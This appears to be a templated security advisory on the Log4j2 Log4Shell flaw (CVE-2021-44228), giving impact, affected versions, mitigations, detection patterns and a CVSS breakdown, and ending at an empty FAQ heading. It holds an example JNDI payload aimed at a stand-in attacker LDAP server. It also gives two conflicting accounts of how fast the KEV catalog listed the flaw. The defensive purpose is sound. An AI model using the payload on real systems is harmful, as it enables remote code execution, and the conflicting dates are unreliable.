CVE-2021-44228: Apache Log4j2 Remote Code Execution Vulnerability

Technical summary

Log4j2's message lookup substitution feature allows JNDI syntax in log strings. When enabled, the library resolves JNDI URLs during logging operations. An attacker who controls log input can craft strings containing JNDI references (e.g., ${jndi:ldap://attacker-controlled-server/exploit}) that cause Log4j2 to connect to malicious LDAP or RMI servers and deserialize arbitrary classes, leading to remote code execution. The vulnerability spans CWE-20 (improper input validation), CWE-400 (uncontrolled resource consumption), CWE-502 (deserialization of untrusted data), and CWE-917 (expression language injection). Mitigation strategies include: disabling message lookup substitution (default in 2.15.0+), upgrading to 2.16.0 or patched 2.12.x/2.3.x versions, or restricting LDAP/RMI access at the network level. The CVSS 3.1 score of 10.0 (CRITICAL) reflects zero required privileges, no user interaction, network accessibility, and complete system compromise potential.

Business impact

This vulnerability poses an existential threat to any organization running affected Log4j2 versions. The attack requires no authentication or special privileges, can be triggered remotely, and results in complete system compromise. Organizations have reported successful exploitation leading to data breaches, ransomware deployment, and lateral movement within networks. The breadth of Log4j2 adoption—present in countless Java applications, cloud services, and enterprise software—means that most organizations likely have at least one vulnerable instance. The five-day window between public disclosure and the KEV catalog addition underscores the speed at which attackers weaponized this flaw. Business continuity, data confidentiality, and regulatory compliance are all at immediate risk without urgent remediation.

Affected systems

Apache Log4j2 versions 2.0-beta9 through 2.15.0 are affected, excluding patched releases 2.12.2, 2.12.3, and 2.3.1. The vulnerability is specific to log4j-core; log4net, log4cxx, and other Apache Logging Services projects are not affected. Beyond the Log4j2 project itself, the vulnerability impacts numerous downstream products that embed Log4j2, including Siemens industrial control systems (6BK1602 series, SPPA-T3000, Desigo CC, EnergyIP, Capital, COMOS, and others), cloud platforms, application servers, and enterprise software. Organizations should inventory all Java applications and dependencies to identify Log4j2 usage. The extensive vendor ecosystem affected means that patching cannot be limited to direct dependencies; supply chain analysis is critical.

Exploitability

Exploitability is exceptionally high. The attack requires only the ability to influence log input—a capability present in nearly all real-world deployments through user input, API parameters, HTTP headers, file uploads, or application events. No special tools or deep technical knowledge are required beyond crafting a JNDI string. Proof-of-concept exploits appeared within hours of disclosure. The vulnerability has been confirmed actively exploited by multiple threat actors, including ransomware operators. Detection and logging of exploitation attempts is challenging because the attack is embedded in what appears to be legitimate logging data. Organizations with internet-facing applications, message brokers, web servers, or cloud services are at highest immediate risk, but any system processing external data is potentially vulnerable.

Remediation

Immediate actions: (1) Upgrade to Log4j2 2.16.0 or later, or apply patches for 2.12.2, 2.12.3, and 2.3.1. Verify against vendor advisories for patch versions applicable to your distribution. (2) If immediate patching is impossible, disable message lookup substitution by setting the system property 'log4j2.formatMsgNoLookups=true' in your JVM startup arguments or application configuration; this disables the vulnerable feature but maintains logging functionality. (3) Restrict outbound network access from application servers to LDAP and RMI ports (636, 389, 1099) via firewall rules. (4) Implement network segmentation to limit the blast radius of compromised hosts. For Siemens products and other vendors, consult published security advisories for specific patches and workarounds. Patching should be prioritized based on exposure: internet-facing systems first, then internal systems processing external data, then isolated infrastructure. Verify successful remediation by checking Log4j2 versions in your classpath and confirming configuration changes.

Patch guidance

Apply Log4j2 version 2.16.0 or later as the primary remediation. For organizations unable to immediately upgrade, apply available patches: 2.12.2, 2.12.3 (for 2.12.x branch), or 2.3.1 (for 2.3.x branch). Verify patch versions against the official Apache Log4j security advisory. For embedded instances in third-party applications (Siemens products, cloud services, etc.), contact vendors for patched versions and follow their specific deployment guidance. Test patches in non-production environments before rolling out to production, particularly in industrial or critical infrastructure settings. Patching may require application restarts; plan maintenance windows accordingly. After patching, confirm the effective Log4j2 version in running processes and verify no vulnerable versions remain in classpath dependencies.

Detection guidance

Monitor for exploitation attempts by searching logs and network traffic for JNDI strings containing 'jndi:', 'ldap://', 'rmi://', or similar patterns, particularly in web server access logs, application logs, and network flows. Watch for outbound connections from application servers to unexpected LDAP or RMI endpoints, especially on ports 389, 636, and 1099. Review system logs for unexpected process spawning or code execution following suspicious log entries. Use endpoint detection and response (EDR) tools to identify child processes launched from Java applications. Implement log aggregation and search capabilities to correlate JNDI references with system events. False positives are possible if legitimate applications use JNDI, so baseline normal behavior first. For forensic investigation, preserve logs from the vulnerability disclosure date onward to reconstruct attacks and identify data exfiltration. Organizations without comprehensive logging may retrospectively detect breach evidence through network forensics, file integrity monitoring, or credential compromise indicators.

Why prioritize this

This vulnerability demands maximum priority due to: (1) CVSS 10.0 CRITICAL severity with zero barriers to exploitation; (2) confirmed active exploitation by multiple threat groups, including ransomware operators; (3) inclusion in the CISA KEV catalog within 24 hours of disclosure, marking it as targeted in the wild; (4) ubiquitous Log4j2 deployment across Java ecosystems, meaning most organizations are likely affected; (5) ease of weaponization requiring only crafted log input; (6) potential for supply chain impact through embedded Log4j2 in products; (7) associated ransomware campaigns with documented financial impact. Organizations should treat this as a critical security incident requiring emergency response procedures, executive escalation, and around-the-clock remediation efforts.

Risk score, explained

The CVSS 3.1 score of 10.0 reflects: Attack Vector (Network) - exploitation possible over the network with no local access required; Attack Complexity (Low) - no special conditions or timing required; Privileges Required (None) - no authentication or elevated privileges needed; User Interaction (None) - exploitation is automatic; Scope (Changed) - impact extends beyond the vulnerable component to other systems; Confidentiality/Integrity/Availability (High) - complete compromise of all three security pillars. The maximum score underscores that this vulnerability allows unauthenticated remote attackers to achieve complete system compromise with trivial effort. Real-world impact has proven this assessment accurate: major breaches and ransomware deployments occurred within days of disclosure.

Frequently asked questions